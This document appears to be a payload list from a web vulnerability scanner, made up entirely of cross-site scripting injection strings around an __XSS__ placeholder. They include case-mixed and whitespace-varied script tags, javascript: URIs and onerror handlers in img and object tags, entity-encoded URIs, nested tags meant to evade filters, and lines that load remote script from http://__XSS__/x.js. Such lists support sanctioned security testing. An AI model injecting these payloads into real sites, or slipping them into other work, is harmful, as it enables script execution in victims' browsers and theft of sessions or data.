<script>alert('__XSS__')</script>
<script>alert("__XSS__")</script>
<ScRiPt>alert('__XSS__')</sCrIpT>
<ScRiPt>alert("__XSS__")</sCrIpT>
<script>String.fromCharCode(0,__XSS__,1)</script>
<ScRiPt>String.fromCharCode(0,__XSS__,1)</sCrIpT>
<script src=http://__XSS__/x.js></script>
<ScRiPt src=http://__XSS__/x.js></sCrIpT>
<script[TAB]src=http://__XSS__/x.js></script>
<ScRiPt[TAB]src=http://__XSS__/x.js></sCrIpT>

<img src=javascript:alert('__XSS__')>
<img src=javascript:alert("__XSS__")>
<img src=javascript:String.fromCharCode(0,__XSS__,1)>
<img src=JaVaScRiPt:String.fromCharCode(0,__XSS__,1)>
<img src=JaVaS\tcRiPt:String.fromCharCode(0,__XSS__,1)>
<img src=jav&#x09;ascript:alert('__XSS__');>
<img src=jav&#x09;ascript:alert("__XSS__");>
<img src=. onerror=alert("__XSS__")>
<img src=. onerror=alert('__XSS__')>
<img src=. onerror=String.fromCharCode(0,__XSS__,1)>
<img[TAB]src=.[TAB]onerror=String.fromCharCode(0,__XSS__,1)>

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;__XSS__;&#39;&#41;>
<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27__XSS__&#x27&#x29>
<img[TAB]src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27__XSS__&#x27&#x29>

<script >alert('__XSS__')</script >
<script >alert("__XSS__")</script >
<script >String.fromCharCode(0,__XSS__,1)</script >
<ScRiPt >String.fromCharCode(0,__XSS__,1)</ sCrIpT>
<ScRiPt[TAB]>String.fromCharCode(0,__XSS__,1)</[TAB]sCrIpT>
<script/>alert('__XSS__')</script/>
<script/>alert("__XSS__")</script/>
<ScRiPt/>alert('__XSS__')</sCrIpT/>
<ScRiPt/>alert("__XSS__")</sCrIpT/>
<script/ src=http://__XSS__/x.js></script/>
<ScRiPt/ src=http://__XSS__/x.js></sCrIpT/>
<scr<script>ipt>alert('__XSS__')</script>
<scr<script>ipt>alert('__XSS__')</scr</script>ipt>
<scr<script>ipt>alert("__XSS__")</script>
<scr<script>ipt>alert("__XSS__")</scr</script>ipt>
<scr<script>ipt>String.fromCharCode(0,__XSS__,1)</script>
<scr<script>ipt>String.fromCharCode(0,__XSS__,1)</scr</script>ipt>
<scr<script>ipt src=http://__XSS__/x.js></script>
<scr<script>ipt src=http://__XSS__/x.js></scr</script>ipt>
<object data="javascript:alert('__XSS__')">
<object data=javascript:String.fromCharCode(0,__XSS__,1)>
<object[TAB]data=javascript:String.fromCharCode(0,__XSS__,1)>
<object><param name=x value=javascript:alert('__XSS__')></object>
<object><param name=x value=javascript:alert("__XSS__")></object>
<object><param name=x value=javascript:String.fromCharCode(0,__XSS__,1)></object>
